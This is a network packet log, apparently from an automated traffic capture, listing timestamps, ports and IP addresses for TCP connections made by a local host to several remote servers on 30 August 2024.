Aug 30, 2024 00:19:21.805011988 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.805018902 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.805054903 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.805069923 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.891040087 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891093016 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891118050 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.891125917 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891154051 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.891485929 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891501904 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891541958 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.891551018 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.891586065 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.892507076 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.892522097 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.892577887 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.892586946 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.892616034 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.893203974 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893217087 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893273115 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.893279076 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893299103 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.893702984 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893716097 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893739939 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.893748999 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.893776894 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.894130945 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.894145012 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.894192934 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.894203901 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.894625902 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.894639015 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.894685030 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.894692898 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.895083904 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.895097017 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.895128012 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.895133972 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.895163059 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.940455914 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.981810093 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.981829882 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.981892109 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.981914043 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.981960058 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.982302904 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.982316971 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.982353926 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.982362032 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.982389927 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.982404947 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.983138084 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983153105 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983203888 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.983211040 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983253002 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.983872890 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983887911 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983937979 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.983946085 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.983985901 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.984308004 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984323025 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984374046 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.984381914 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984405041 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.984424114 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.984883070 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984899044 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984946012 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.984952927 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.984998941 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.985369921 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.985385895 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.985421896 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.985429049 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.985455990 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.985476017 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.985940933 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.985955954 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.986000061 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.986005068 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.986032009 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.986047029 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.986198902 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.986238956 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.986252069 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.986255884 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.986289024 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.994626999 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.994667053 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:21.994739056 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.995019913 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:21.995033979 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.072830915 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.072851896 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.072932005 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.072961092 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.073004007 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.073631048 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.073646069 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.073709011 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.073715925 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.073760986 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.074232101 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.074246883 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.074295998 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.074302912 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.074341059 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.074933052 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.074949980 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.075021029 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.075027943 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.075067997 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.075376987 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.075392008 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.075443029 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.075449944 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.075490952 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076237917 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076251984 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076289892 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076297045 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076324940 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076340914 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076399088 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076415062 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076463938 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076469898 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076505899 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.076942921 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.076956987 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.077003002 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.077009916 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.077049017 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.163367987 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.163393974 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.163455009 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.163464069 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.163506985 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164231062 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164244890 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164275885 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164282084 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164307117 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164328098 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164784908 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164800882 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164839983 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164848089 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.164865971 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.164889097 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.165361881 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165390968 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165410995 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.165416956 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165442944 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.165462017 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.165908098 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165927887 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165962934 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.165970087 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.165996075 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.166007996 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.166547060 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.166559935 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.166609049 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.166615009 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.166656971 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.166923046 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.166938066 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.166996002 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.167002916 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.167037010 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.167188883 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.167229891 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.167248011 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.167257071 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.167390108 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.226279020 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.226380110 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.253915071 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.253940105 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.254004002 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.254012108 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.254044056 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.254055023 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.254400969 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.254431963 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.254460096 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.254467964 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.254487038 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.254511118 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.255372047 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255387068 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255419016 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.255424976 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255451918 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.255471945 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.255814075 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255827904 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255878925 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.255886078 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.255923033 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.256412029 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.256426096 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.256474018 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.256484985 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.256522894 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.256932974 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.256947994 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.256983995 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.256990910 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257014990 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257040024 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257415056 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257430077 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257474899 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257486105 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257524967 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257894993 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257910013 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257944107 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257950068 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.257972002 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.257985115 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.294521093 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.294547081 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.294869900 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.307750940 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.307914972 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.344506025 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.344523907 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.344608068 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.344636917 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.344822884 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.345029116 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.345042944 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.345098972 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.345107079 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.345185041 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.345881939 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.345911026 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.345985889 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.345993042 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346059084 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.346425056 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346445084 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346515894 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346535921 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.346543074 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346573114 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.346654892 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.346786976 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.348501921 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.465347052 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.505413055 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.505480051 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.505554914 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.518635988 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.610876083 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.610892057 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.611344099 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.617626905 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.617697001 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.640762091 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.642597914 CEST	49758	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:22.642636061 CEST	443	49758	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:22.645930052 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.645956039 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.645967007 CEST	49761	443	192.168.2.4	184.28.90.27
Aug 30, 2024 00:19:22.645972967 CEST	443	49761	184.28.90.27	192.168.2.4
Aug 30, 2024 00:19:22.688503027 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:23.056035042 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:23.056153059 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:23.056233883 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:23.076678038 CEST	49762	443	192.168.2.4	185.199.108.153
Aug 30, 2024 00:19:23.076704025 CEST	443	49762	185.199.108.153	192.168.2.4
Aug 30, 2024 00:19:29.027976036 CEST	443	49750	216.58.206.68	192.168.2.4
Aug 30, 2024 00:19:29.028040886 CEST	443	49750	216.58.206.68	192.168.2.4
Aug 30, 2024 00:19:29.028101921 CEST	49750	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:19:29.089370012 CEST	49750	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:19:29.089401960 CEST	443	49750	216.58.206.68	192.168.2.4
Aug 30, 2024 00:19:30.272049904 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:30.272093058 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:30.272231102 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:30.273802042 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.273833036 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.273902893 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.277347088 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.277359009 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.277688026 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:30.277700901 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:30.781963110 CEST	49723	80	192.168.2.4	199.232.210.172
Aug 30, 2024 00:19:30.789244890 CEST	80	49723	199.232.210.172	192.168.2.4
Aug 30, 2024 00:19:30.789397955 CEST	49723	80	192.168.2.4	199.232.210.172
Aug 30, 2024 00:19:30.946194887 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.946481943 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.946507931 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.947429895 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.947555065 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.962202072 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.962270975 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:30.962486982 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:30.962505102 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.002827883 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.069515944 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069540977 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069547892 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069580078 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069601059 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.069614887 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069624901 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.069649935 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.069693089 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.081335068 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:31.081562042 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:31.081583023 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:31.082851887 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:31.082927942 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:31.084204912 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:31.084328890 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:31.136970997 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:31.136989117 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:31.160331964 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.160353899 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.160407066 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.160434961 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.160458088 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.160474062 CEST	49775	443	192.168.2.4	13.107.246.60
